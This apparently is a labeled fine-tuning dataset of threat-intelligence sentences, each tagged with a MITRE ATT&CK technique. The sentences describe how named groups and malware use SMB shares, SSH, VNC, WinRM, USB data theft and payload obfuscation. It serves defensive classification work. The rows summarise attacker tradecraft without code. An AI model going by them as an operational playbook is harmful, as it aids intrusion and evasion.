BlackEnergy has run a plug-in on a victim to spread through the local network by using PsExec and accessing admin shares.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Blue Mockingbird has used Windows Explorer to manually copy malicious files to remote hosts over SMB.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Chimera has used Windows admin shares to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Cobalt Strike can use Window admin shares (C$ and ADMIN$) for lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Conficker variants spread through NetBIOS share propagation.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Conti can spread via SMB and encrypts files on different hosts, potentially compromising an entire network.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Deep Panda uses net.exe to connect to network shares using ""net use"" commands with compromised credentials.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Diavol can spread throughout a network via SMB prior to encryption.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
FIN8 has attempted to map to C$ on enumerated hosts to test the scope of their current credentials/context.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
HermeticWizard can use a list of hardcoded credentials to to authenticate via NTLMSSP to the SMB shares on remote systems.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Lateral movement can be done with Net through ""net use"" commands to connect to the on remote systems.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Lazarus Group malware SierraAlfa accesses the ""ADMIN$"" share via SMB to conduct lateral movement.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Moses Staff has used batch scripts that can enable SMB on a compromised host.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Net Crawler uses Windows admin shares to establish authenticated sessions to remote systems over SMB as part of lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Olympic Destroyer uses PsExec to interact with the ""ADMIN$"" network share to execute commands on remote systems.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Operation Wocao has used Impacket's smbexec.py as well as accessing the C$ and IPC$ shares to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Orangeworm has copied its backdoor across open network shares, including ADMIN$, C$WINDOWS, D$WINDOWS, and E$WINDOWS.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"PsExec, a tool that has been used by adversaries, writes programs to the ""ADMIN$"" network share to execute commands on remote systems.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Sandworm Team has run ""net use"" to connect to network shares.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Shamoon accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a Scheduled Task/Job to execute the malware.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Stuxnet propagates to available network shares.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
The Regin malware platform can use Windows admin shares to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Threat Group-1314 actors mapped network drives using ""net use"".",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Turla used ""net use"" commands to connect to lateral systems within a network.",['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Wizard Spider has used SMB to drop Cobalt Strike Beacon on a domain controller for lateral movement.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
Zox has the ability to use SMB for communication.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
zwShell has been copied over network shares to move laterally.,['T1021.002 - Remote Services: SMB/Windows Admin Shares'],fine_tune
"Cobalt Strike can deliver ""beacon"" payloads for lateral movement by leveraging remote COM execution.",['T1021.003 - Remote Services: Distributed Component Object Model'],fine_tune
Cobalt Strike can deliver Beacon payloads for lateral movement by leveraging remote COM execution.,['T1021.003 - Remote Services: Distributed Component Object Model'],fine_tune
SILENTTRINITY can use `System` namespace methods to execute lateral movement using DCOM.,['T1021.003 - Remote Services: Distributed Component Object Model'],fine_tune
APT39 used secure shell (SSH) to move laterally among their targets.,['T1021.004 - Remote Services: SSH'],fine_tune
BlackTech has used Putty for remote access.,['T1021.004 - Remote Services: SSH'],fine_tune
Cobalt Strike can SSH to a remote service.,['T1021.004 - Remote Services: SSH'],fine_tune
Empire contains modules for executing commands over SSH as well as in-memory VNC agent injection.,['T1021.004 - Remote Services: SSH'],fine_tune
FIN7 has used SSH to move laterally through victim environments.,['T1021.004 - Remote Services: SSH'],fine_tune
GCMAN uses Putty for lateral movement.,['T1021.004 - Remote Services: SSH'],fine_tune
Kinsing has used SSH for lateral movement.,['T1021.004 - Remote Services: SSH'],fine_tune
Lazarus Group used SSH and the PuTTy PSCP utility to gain access to a restricted segment of a compromised network.,['T1021.004 - Remote Services: SSH'],fine_tune
Leviathan used ssh for internal reconnaissance.,['T1021.004 - Remote Services: SSH'],fine_tune
TEMP.Veles has relied on encrypted SSH-based tunnels to transfer tools and for remote command/program execution.,['T1021.004 - Remote Services: SSH'],fine_tune
TeamTNT has used SSH to connect back to victim machines. TeamTNT has also used SSH to transfer tools and payloads onto victim hosts and execute them.,['T1021.004 - Remote Services: SSH'],fine_tune
menuPass has used Putty Secure Copy Client (PSCP) to transfer data.,['T1021.004 - Remote Services: SSH'],fine_tune
DanBot can use VNC for remote access to targeted systems.,['T1021.005 - Remote Services:VNC'],fine_tune
FIN7 has used TightVNC to control compromised hosts.,['T1021.005 - Remote Services:VNC'],fine_tune
Fox Kitten has installed TightVNC server and client on compromised servers and endpoints for lateral movement.,['T1021.005 - Remote Services:VNC'],fine_tune
GCMAN uses VNC for lateral movement.,['T1021.005 - Remote Services:VNC'],fine_tune
"Gamaredon Group has used VNC tools, including UltraVNC, to remotely interact with compromised hosts.",['T1021.005 - Remote Services:VNC'],fine_tune
ZxShell supports functionality for VNC sessions.,['T1021.005 - Remote Services:VNC'],fine_tune
APT29 has used WinRM via PowerShell to execute command and payloads on remote hosts.,['T1021.006 - Remote Services: Windows Remote Management'],fine_tune
SILENTTRINITY tracks `TrustedHosts` and can move laterally to these targets via WinRM.,['T1021.006 - Remote Services: Windows Remote Management'],fine_tune
Threat Group-3390 has used WinRM to enable remote execution.,['T1021.006 - Remote Services: Windows Remote Management'],fine_tune
UNC2452 has used WinRM via PowerShell to execute command and payloads on remote hosts.,['T1021.006 - Remote Services: Windows Remote Management'],fine_tune
"A Gamaredon Group file stealer has the capability to steal data from newly connected logical volumes on a system, including USB drives.",['T1025 - Data from Removable Media'],fine_tune
An APT28 backdoor may collect the entire contents of an inserted USB device.,['T1025 - Data from Removable Media'],fine_tune
AppleSeed can find and collect data from removable media devices.,['T1025 - Data from Removable Media'],fine_tune
Aria-body has the ability to collect data from USB devices.,['T1025 - Data from Removable Media'],fine_tune
"BADNEWS copies files with certain extensions from USB devices to
a predefined directory.",['T1025 - Data from Removable Media'],fine_tune
Explosive can scan all .exe files located in the USB drive.,['T1025 - Data from Removable Media'],fine_tune
FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by SPACESHIP.,['T1025 - Data from Removable Media'],fine_tune
GravityRAT steals files based on an extension list if a USB drive is connected to the system.,['T1025 - Data from Removable Media'],fine_tune
"Machete had a module in its malware to find, encrypt, and upload files from fixed and removable drives.",['T1025 - Data from Removable Media'],fine_tune
ObliqueRAT has the ability to extract data from removable devices connected to the endpoint.,['T1025 - Data from Removable Media'],fine_tune
"Once a removable media device is inserted back into the first victim, USBStealer collects data from it that was exfiltrated from a second victim.",['T1025 - Data from Removable Media'],fine_tune
Prikormka contains a module that collects documents with certain extensions from removable media or fixed drives connected via USB.,['T1025 - Data from Removable Media'],fine_tune
Ramsay can collect data from removable media and stage it for exfiltration.,['T1025 - Data from Removable Media'],fine_tune
Remsec has a package that collects documents from any inserted USB sticks.,['T1025 - Data from Removable Media'],fine_tune
TajMahal has the ability to steal written CD images and files of interest from previously connected removable drives when they become available again.,['T1025 - Data from Removable Media'],fine_tune
The FunnyDream FilePakMonitor component has the ability to collect files from removable devices.,['T1025 - Data from Removable Media'],fine_tune
Turla RPC backdoors can collect files from USB thumb drives.,['T1025 - Data from Removable Media'],fine_tune
A JPIN uses a encrypted and compressed payload that is disguised as a bitmap within the resource section of the installer.,['T1027 - Obfuscated Files or Information'],fine_tune
"A RedLeaves configuration file is encrypted with a simple XOR key, 0x53.",['T1027 - Obfuscated Files or Information'],fine_tune
A Threat Group-3390 tool can encrypt payloads using XOR. Threat Group-3390 malware is also obfuscated using Metasploit’s shikata_ga_nai encoder as well as compressed with LZNT1 compression.,['T1027 - Obfuscated Files or Information'],fine_tune
A Volgmer variant is encoded using a simple XOR cipher.,['T1027 - Obfuscated Files or Information'],fine_tune
"APT-C-36 has used ConfuserEx to obfuscate its variant of Imminent Monitor, compressed payload and RAT packages, and password protected encrypted email attachments to avoid detection.",['T1027 - Obfuscated Files or Information'],fine_tune
APT18 obfuscates strings in the payload.,['T1027 - Obfuscated Files or Information'],fine_tune
APT19 used Base64 to obfuscate commands and the payload.,['T1027 - Obfuscated Files or Information'],fine_tune
"APT28 encrypted a .dll payload using RTL and a custom encryption algorithm. APT28 has also obfuscated payloads with base64, XOR, and RC4.",['T1027 - Obfuscated Files or Information'],fine_tune
APT29 has used encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
APT3 obfuscates files or information to help evade defensive measures.,['T1027 - Obfuscated Files or Information'],fine_tune
"APT32 uses the Invoke-Obfuscation framework to obfuscate their PowerShell and also performs other code obfuscation. APT32 has also encoded payloads using Base64 and a framework called ""Dont-Kill-My-Cat (DKMC). APT32 also encrypts the library used for network exfiltration with AES-256 in CBC mode in their macOS backdoor.",['T1027 - Obfuscated Files or Information'],fine_tune
APT33 has used base64 to encode payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
APT34 has used base64-encoded files that are dropped to victims.,['T1027 - Obfuscated Files or Information'],fine_tune
APT37 obfuscates strings and payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
"Action RAT's commands, strings, and domains can be Base64 encoded within the payload.",['T1027 - Obfuscated Files or Information'],fine_tune
Anchor has obfuscated code with stack strings and string encryption.,['T1027 - Obfuscated Files or Information'],fine_tune
AppleJeus has XOR-encrypted collected system information prior to sending to a C2. AppleJeus has also used the open source ADVObfuscation library for its components.,['T1027 - Obfuscated Files or Information'],fine_tune
AppleSeed has the ability to Base64 encode its payload and custom encrypt API calls.,['T1027 - Obfuscated Files or Information'],fine_tune
Aria-body has used an encrypted configuration file for its loader.,['T1027 - Obfuscated Files or Information'],fine_tune
"Astaroth obfuscates its JScript code, and has used an XOR-based algorithm to encrypt payloads twice with different keys.",['T1027 - Obfuscated Files or Information'],fine_tune
AuditCred encrypts the configuration.,['T1027 - Obfuscated Files or Information'],fine_tune
Avaddon has used encrypted strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Avenger has the ability to XOR encrypt files to be sent to C2.,['T1027 - Obfuscated Files or Information'],fine_tune
BLINDINGCAN has obfuscated code using Base64 encoding.,['T1027 - Obfuscated Files or Information'],fine_tune
BLUELIGHT has a XOR-encoded payload.,['T1027 - Obfuscated Files or Information'],fine_tune
BOOSTWRITE has encoded its payloads using a ChaCha stream cipher with a 256-bit key and 64-bit Initialization vector (IV) to evade detection.,['T1027 - Obfuscated Files or Information'],fine_tune
BackdoorDiplomacy has obfuscated tools and malware it uses with VMProtect.,['T1027 - Obfuscated Files or Information'],fine_tune
"Bazar has used XOR, RSA2, and RC4 encrypted files.",['T1027 - Obfuscated Files or Information'],fine_tune
BendyBear has encrypted payloads using RC4 and XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
BitPaymer has used RC4-encrypted strings and string hashes to avoid identifiable strings within the binary.,['T1027 - Obfuscated Files or Information'],fine_tune
BlackOasis's first stage shellcode contains a NOP sled with alternative instructions that was likely designed to bypass antivirus tools.,['T1027 - Obfuscated Files or Information'],fine_tune
Blue Mockingbird has obfuscated the wallet address in the payload binary.,['T1027 - Obfuscated Files or Information'],fine_tune
BoomBox can encrypt data using AES prior to exfiltration.,['T1027 - Obfuscated Files or Information'],fine_tune
Bumblebee has been delivered as password-protected zipped ISO files and used control-flow-flattening to obfuscate the flow of functions.,['T1027 - Obfuscated Files or Information'],fine_tune
CARROTBAT has the ability to download a base64 encoded payload and execute obfuscated commands on the infected host.,['T1027 - Obfuscated Files or Information'],fine_tune
Carbanak encrypts strings to make analysis more difficult.,['T1027 - Obfuscated Files or Information'],fine_tune
Carberp has used XOR-based encryption to mask C2 server locations within the trojan.,['T1027 - Obfuscated Files or Information'],fine_tune
Chimera has encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
Chinoxy has encrypted its configuration file.,['T1027 - Obfuscated Files or Information'],fine_tune
"Cobalt Group obfuscated several scriptlets and code used on the victim’s machine, including through use of XOR and RC4.",['T1027 - Obfuscated Files or Information'],fine_tune
Cobalt Strike can hash functions to obfuscate calls to the Windows API and use a public/private key pair to encrypt Beacon session metadata.,['T1027 - Obfuscated Files or Information'],fine_tune
CoinTicker initially downloads a hidden encoded file.,['T1027 - Obfuscated Files or Information'],fine_tune
ComRAT has used encryption and base64 to obfuscate its orchestrator code in the Registry. ComRAT has encrypted its virtual file system using AES-256 in XTS mode and has encoded PowerShell scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
Comnie uses RC4 and Base64 to obfuscate strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Conficker has obfuscated its code to prevent its removal from host machines.,['T1027 - Obfuscated Files or Information'],fine_tune
"Conti can use compiler-based obfuscation for its code, encrypt DLLs, and hide Windows API calls.",['T1027 - Obfuscated Files or Information'],fine_tune
CookieMiner has used base64 encoding to obfuscate scripts on the system.,['T1027 - Obfuscated Files or Information'],fine_tune
"Cuba has used multiple layers of obfuscation to avoid analysis, including its Base64 encoded payload.",['T1027 - Obfuscated Files or Information'],fine_tune
DCSrv's configuration is encrypted.,['T1027 - Obfuscated Files or Information'],fine_tune
DRATzarus can be partly encrypted with XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
Dacls can encrypt its configuration file with AES CBC.,['T1027 - Obfuscated Files or Information'],fine_tune
DanBot can Base64 encode its payload.,['T1027 - Obfuscated Files or Information'],fine_tune
"Dark Caracal has obfuscated strings in Bandook by base64 encoding, and then encrypting them.",['T1027 - Obfuscated Files or Information'],fine_tune
DarkWatchman has used Base64 to encode PowerShell commands. DarkWatchman has been delivered as compressed RAR payloads in ZIP files to victims.,['T1027 - Obfuscated Files or Information'],fine_tune
Denis obfuscates its code and encrypts the API names. Denis also encodes its payload in Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
Diavol has Base64 encoded the RSA public key used for encrypting files.,['T1027 - Obfuscated Files or Information'],fine_tune
"Donut can generate encrypted, compressed/encoded, or otherwise obfuscated code modules.",['T1027 - Obfuscated Files or Information'],fine_tune
Dridex's strings are obfuscated using RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
Droppers used by Putter Panda use RC4 or a 16-byte XOR key consisting of the bytes 0xA0 – 0xAF to obfuscate payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
Drovorub has used XOR encrypted payloads in WebSocket client to server messages.,['T1027 - Obfuscated Files or Information'],fine_tune
Dtrack has used a dropper that embeds an encrypted payload as extra data.,"['T1027 - Obfuscated Files or Information', 'T1027.009 - Embedded Payloads']",fine_tune
"During C0015, the threat actors used Base64-encoded strings.",['T1027 - Obfuscated Files or Information'],fine_tune
"During Frankenstein, the threat actors ran encoded commands from the command line.",['T1027 - Obfuscated Files or Information'],fine_tune
"During Night Dragon, threat actors used a DLL that included an XOR-encoded section.",['T1027 - Obfuscated Files or Information'],fine_tune
"During Operation CuckooBees, the threat actors executed an encoded VBScript file.",['T1027 - Obfuscated Files or Information'],fine_tune
"During Operation Dust Storm, the threat actors encoded some payloads with a single-byte XOR, both skipping the key itself and zeroing in an attempt to avoid exposing the key; other payloads were Base64-encoded.",['T1027 - Obfuscated Files or Information'],fine_tune
"During Operation Honeybee, the threat actors used Base64 to encode files with a custom key.",['T1027 - Obfuscated Files or Information'],fine_tune
EKANS uses encoded strings in its process kill list.,['T1027 - Obfuscated Files or Information'],fine_tune
Earth Lusca used Base64 to encode strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Ebury has obfuscated its strings with a simple XOR encryption with a static key.,['T1027 - Obfuscated Files or Information'],fine_tune
Elderwood has encrypted documents and malicious executables.,['T1027 - Obfuscated Files or Information'],fine_tune
"Elise encrypts several of its files, including configuration files.",['T1027 - Obfuscated Files or Information'],fine_tune
Ember Bear has obfuscated malware and malicious scripts to help avoid detection.,['T1027 - Obfuscated Files or Information'],fine_tune
"Emotet has obfuscated macros within malicious documents to hide the URLs hosting the malware,  CMD.exe arguments, and PowerShell scripts.",['T1027 - Obfuscated Files or Information'],fine_tune
EnvyScout can Base64 encode payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
Exaramel for Linux uses RC4 for encrypting the configuration.,['T1027 - Obfuscated Files or Information'],fine_tune
Exaramel uses RC4 for encrypting the configuration.,['T1027 - Obfuscated Files or Information'],fine_tune
FELIXROOT encrypts strings in the backdoor using a custom XOR algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
FIN6 has used encoded PowerShell commands.,['T1027 - Obfuscated Files or Information'],fine_tune
"FIN7 has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.",['T1027 - Obfuscated Files or Information'],fine_tune
FIN8 has used environment variables and standard input (stdin) to obfuscate command-line arguments. FIN8 also obfuscates malicious macros delivered as payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
"FatDuke can use base64 encoding, string stacking, and opaque predicates for obfuscation.",['T1027 - Obfuscated Files or Information'],fine_tune
Flagpro has been delivered within ZIP or RAR password-protected archived files.,['T1027 - Obfuscated Files or Information'],fine_tune
FlawedGrace encrypts its C2 configuration files with AES in CBC mode.,['T1027 - Obfuscated Files or Information'],fine_tune
FoggyWeb has been XOR-encoded.,['T1027 - Obfuscated Files or Information'],fine_tune
"For Operation Spalax, the threat actors used XOR-encrypted payloads.",['T1027 - Obfuscated Files or Information'],fine_tune
Frankenstein has run encoded commands from the command line.,['T1027 - Obfuscated Files or Information'],fine_tune
FruitFly executes and stores obfuscated Perl scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
GALLIUM used a modified version of HTRAN in which they obfuscated strings such as debug messages in an apparent attempt to evade detection.,['T1027 - Obfuscated Files or Information'],fine_tune
GOLD SOUTHFIELD has executed base64 encoded PowerShell scripts on compromised hosts.,['T1027 - Obfuscated Files or Information'],fine_tune
Gallmaker obfuscated shellcode used during execution.,['T1027 - Obfuscated Files or Information'],fine_tune
"Gamaredon Group has delivered self-extracting 7z archive files within malicious document attachments, and used obfuscated or encrypted scripts.",['T1027 - Obfuscated Files or Information'],fine_tune
Gazer logs its actions into files that are encrypted with 3DES. It also uses RSA to encrypt resources.,['T1027 - Obfuscated Files or Information'],fine_tune
Gelsemium has the ability to compress its components.,['T1027 - Obfuscated Files or Information'],fine_tune
GoldMax has written AES-encrypted and Base64-encoded configuration files to disk.,['T1027 - Obfuscated Files or Information'],fine_tune
GoldenSpy's uninstaller has base64-encoded its variables.,['T1027 - Obfuscated Files or Information'],fine_tune
"Goopy's decrypter have been inflated with junk code in between legitimate API functions, and also included infinite loops to avoid analysis.",['T1027 - Obfuscated Files or Information'],fine_tune
"GravityRAT supports file encryption (AES with the key ""lolomycin2017"").",['T1027 - Obfuscated Files or Information'],fine_tune
Green Lambert has encrypted strings.,['T1027 - Obfuscated Files or Information'],fine_tune
GreyEnergy encrypts its configuration files with AES-256 and also encrypts its strings.,['T1027 - Obfuscated Files or Information'],fine_tune
GrimAgent has used Rotate on Right (RoR) and Rotate on Left (RoL) functionality to encrypt strings.,['T1027 - Obfuscated Files or Information'],fine_tune
"Group5 disguised its malicious binaries with several layers of obfuscation, including encrypting the files.",['T1027 - Obfuscated Files or Information'],fine_tune
"H1N1 uses multiple techniques to obfuscate strings, including XOR.",['T1027 - Obfuscated Files or Information'],fine_tune
HAWKBALL has encrypted the payload with an XOR-based algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
HTTPBrowser's code may be obfuscated through structured exception handling and return-oriented programming.,['T1027 - Obfuscated Files or Information'],fine_tune
HermeticWiper can compress 32-bit and 64-bit driver files with the Lempel-Ziv algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
HermeticWizard has the ability to encrypt PE files with a reverse XOR loop.,['T1027 - Obfuscated Files or Information'],fine_tune
Hi-Zor uses various XOR techniques to obfuscate its components.,['T1027 - Obfuscated Files or Information'],fine_tune
HiddenWasp encrypts its configuration and payload.,['T1027 - Obfuscated Files or Information'],fine_tune
Higaisa used Base64 encoded compressed payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
Hildegard has encrypted an ELF file.,['T1027 - Obfuscated Files or Information'],fine_tune
HotCroissant has encrypted strings with single-byte XOR and base64 encoded RC4.,['T1027 - Obfuscated Files or Information'],fine_tune
ISMInjector is obfuscated with the off-the-shelf SmartAssembly .NET obfuscator created by red-gate.com.,['T1027 - Obfuscated Files or Information'],fine_tune
"IceApple can use Base64 and ""junk"" JavaScript code to obfuscate information.",['T1027 - Obfuscated Files or Information'],fine_tune
"If the victim is using PowerShell 3.0 or later, POWERSOURCE writes its decoded payload to an Alternate Data Stream (ADS) named kernel32.dll that is saved in ""%PROGRAMDATA%\Windows\"".",['T1027 - Obfuscated Files or Information'],fine_tune
Imminent Monitor has encrypted the spearphish attachments to avoid detection from email gateways; the debugger also encrypts information before sending to the C2.,['T1027 - Obfuscated Files or Information'],fine_tune
"In one version of KeyBoy, string obfuscation routines were used to hide many of the critical values referenced in the malware.",['T1027 - Obfuscated Files or Information'],fine_tune
Industroyer uses heavily obfuscated code in its Windows Notepad backdoor.,['T1027 - Obfuscated Files or Information'],fine_tune
InnaputRAT uses an 8-byte XOR key to obfuscate API names and other strings contained in the payload.,['T1027 - Obfuscated Files or Information'],fine_tune
"InvisiMole avoids analysis by encrypting all strings, internal files, configuration data and by using a custom executable format.",['T1027 - Obfuscated Files or Information'],fine_tune
KGH_SPY has used encrypted strings in its installer.,['T1027 - Obfuscated Files or Information'],fine_tune
KOCTOPUS has obfuscated scripts with the BatchEncryption tool.,['T1027 - Obfuscated Files or Information'],fine_tune
KONNI is heavily obfuscated and includes encrypted configuration files.,['T1027 - Obfuscated Files or Information'],fine_tune
"Kerrdown can encrypt, encode, and compress multiple layers of shellcode.",['T1027 - Obfuscated Files or Information'],fine_tune
Kessel's configuration is hardcoded and RC4 encrypted within the binary.,['T1027 - Obfuscated Files or Information'],fine_tune
Kevin has Base64-encoded its configuration file.,['T1027 - Obfuscated Files or Information'],fine_tune
KillDisk uses VMProtect to make reverse engineering the malware more difficult.,['T1027 - Obfuscated Files or Information'],fine_tune
"Lazarus Group has used multiple types of encryption and encoding for their payloads, including AES, Caracachs, RC4, XOR, Base64, and other tricks such as creating aliases in code for Native API function names.",['T1027 - Obfuscated Files or Information'],fine_tune
LazyScripter has leveraged the BatchEncryption tool to perform advanced batch obfuscation and encoding techniques.,['T1027 - Obfuscated Files or Information'],fine_tune
Leviathan has obfuscated code using base64 and gzip compression.,['T1027 - Obfuscated Files or Information'],fine_tune
LightNeuron encrypts its configuration files with AES-256.,['T1027 - Obfuscated Files or Information'],fine_tune
Lokibot has obfuscated strings with base64 encoding.,['T1027 - Obfuscated Files or Information'],fine_tune
LoudMiner has obfuscated various scripts and encrypted DMG files.,['T1027 - Obfuscated Files or Information'],fine_tune
MCMD can Base64 encode output strings prior to sending to C2.,['T1027 - Obfuscated Files or Information'],fine_tune
Machete employed some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.,['T1027 - Obfuscated Files or Information'],fine_tune
"Machete has used pyobfuscate, zlib compression, and base64 encoding for obfuscation. Machete has also used some visual obfuscation techniques by naming variables as combinations of letters to hinder analysis.",['T1027 - Obfuscated Files or Information'],fine_tune
Many strings in JHUHUGIT are obfuscated with a XOR algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
Maze has decrypted strings and other important information during the encryption process. Maze also calls certain functions dynamically to hinder analysis.,['T1027 - Obfuscated Files or Information'],fine_tune
Metamorfo has encrypted payloads and strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Micropsia obfuscates the configuration with a custom Base64 and XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
Milan can encode files containing information about the targeted system.,['T1027 - Obfuscated Files or Information'],fine_tune
Molerats has delivered compressed executables within ZIP files to victims.,['T1027 - Obfuscated Files or Information'],fine_tune
More_eggs's payload has been encrypted with a key that has the hostname and processor family information appended to the end.,['T1027 - Obfuscated Files or Information'],fine_tune
Moses Staff has used obfuscated web shells in their operations.,['T1027 - Obfuscated Files or Information'],fine_tune
Mosquito’s installer is obfuscated with a custom crypter to obfuscate the installer.,['T1027 - Obfuscated Files or Information'],fine_tune
Most strings in USBStealer are encrypted using 3DES and XOR and reversed.,['T1027 - Obfuscated Files or Information'],fine_tune
"MuddyWater has used Daniel Bohannon’s Invoke-Obfuscation framework and obfuscated PowerShell scripts. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.",['T1027 - Obfuscated Files or Information'],fine_tune
NanHaiShu encodes files in Base64.,['T1027 - Obfuscated Files or Information'],fine_tune
NanoCore’s plugins were obfuscated with Eazfuscater.NET 3.3.,['T1027 - Obfuscated Files or Information'],fine_tune
OLDBAIT obfuscates internal strings and unpacks them at startup.,['T1027 - Obfuscated Files or Information'],fine_tune
"Operation Wocao has executed PowerShell commands which were encoded or compressed using Base64, zlib, and XOR.",['T1027 - Obfuscated Files or Information'],fine_tune
P.A.S. Webshell can use encryption and base64 encoding to hide strings and to enforce access control once deployed.,['T1027 - Obfuscated Files or Information'],fine_tune
POSHSPY appends a file signature header (randomly selected from six file types) to encrypted data prior to upload or download.,['T1027 - Obfuscated Files or Information'],fine_tune
"POWERSTATS uses character replacement, PowerShell environment variables, and XOR encoding to obfuscate code. POWERSTATS's backdoor code is a multi-layer obfuscated, encoded, and compressed blob.  POWERSTATS has used PowerShell code with custom string obfuscation",['T1027 - Obfuscated Files or Information'],fine_tune
PS1 is distributed as a set of encrypted files and scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
PUNCHBUGGY has hashed most its code's functions and encrypted payloads with base64 and XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
PlugX can use API hashing and modify the names of strings to evade detection.,['T1027 - Obfuscated Files or Information'],fine_tune
PoetRAT has used a custom encryption scheme for communication between scripts and pyminifier to obfuscate scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
PoisonIvy hides any strings related to its own indicators of compromise.,['T1027 - Obfuscated Files or Information'],fine_tune
PolyglotDuke can custom encrypt strings.,['T1027 - Obfuscated Files or Information'],fine_tune
Pony attachments have been delivered via compressed archive files. Pony also obfuscates the memory flow by adding junk instructions when executing to make analysis more difficult.,['T1027 - Obfuscated Files or Information'],fine_tune
"PowerDuke uses steganography to hide backdoors in PNG files, which are also encrypted using the Tiny Encryption Algorithm (TEA).","['T1027 - Obfuscated Files or Information', 'T1027.003 - Steganography']",fine_tune
PowerPunch can use Base64-encoded scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
PowerSploit contains a collection of ScriptModification modules that compress and encode scripts and payloads.,['T1027 - Obfuscated Files or Information'],fine_tune
PowerStallion uses a XOR cipher to encrypt command output written to its OneDrive C2 server.,['T1027 - Obfuscated Files or Information'],fine_tune
QUADAGENT was likely obfuscated using Invoke-Obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
QakBot can use obfuscated and encoded scripts; it has also hidden code within Excel spreadsheets by turning the font color to white and splitting it across multiple cells.,['T1027 - Obfuscated Files or Information'],fine_tune
REvil has used encrypted strings and configuration files.,['T1027 - Obfuscated Files or Information'],fine_tune
ROKRAT can encrypt data prior to exfiltration by using an RSA public key.,['T1027 - Obfuscated Files or Information'],fine_tune
"RTM strings, network data, configuration, and modules are encrypted with a modified RC4 algorithm. RTM has also been delivered to targets as various archive files including ZIP, 7-ZIP, and RAR.",['T1027 - Obfuscated Files or Information'],fine_tune
Ramsay has base64-encoded its portable executable and hidden itself under a JPG header. Ramsay can also embed information within document footers.,['T1027 - Obfuscated Files or Information'],fine_tune
Reaver encrypts some of its files with XOR.,['T1027 - Obfuscated Files or Information'],fine_tune
RegDuke can use control-flow flattening or the commercially available .NET Reactor for obfuscation.,['T1027 - Obfuscated Files or Information'],fine_tune
"Remcos uses RC4 and base64 to obfuscate data, including Registry entries and file paths.",['T1027 - Obfuscated Files or Information'],fine_tune
Rifdoor has encrypted strings with a single byte XOR algorithm.,['T1027 - Obfuscated Files or Information'],fine_tune
Rocke has modified UPX headers after packing files to break unpackers.,['T1027 - Obfuscated Files or Information'],fine_tune
SHARPSTATS has used base64 encoding and XOR to obfuscate PowerShell scripts.,['T1027 - Obfuscated Files or Information'],fine_tune
SHOTPUT is obscured using XOR encoding and appended to a valid GIF file.,['T1027 - Obfuscated Files or Information'],fine_tune
"SQLRat has used a character insertion obfuscation technique, making the script appear to contain Chinese characters.",['T1027 - Obfuscated Files or Information'],fine_tune
STARWHALE has been obfuscated with hex-encoded strings.,['T1027 - Obfuscated Files or Information'],fine_tune
"SUNSPOT encrypted log entries it collected with the stream cipher RC4 using a hard-coded key. It also uses AES128-CBC encrypted blobs for SUNBURST source code and data extracted from the SolarWinds Orion <MsBuild.exe"" process.",['T1027 - Obfuscated Files or Information'],fine_tune
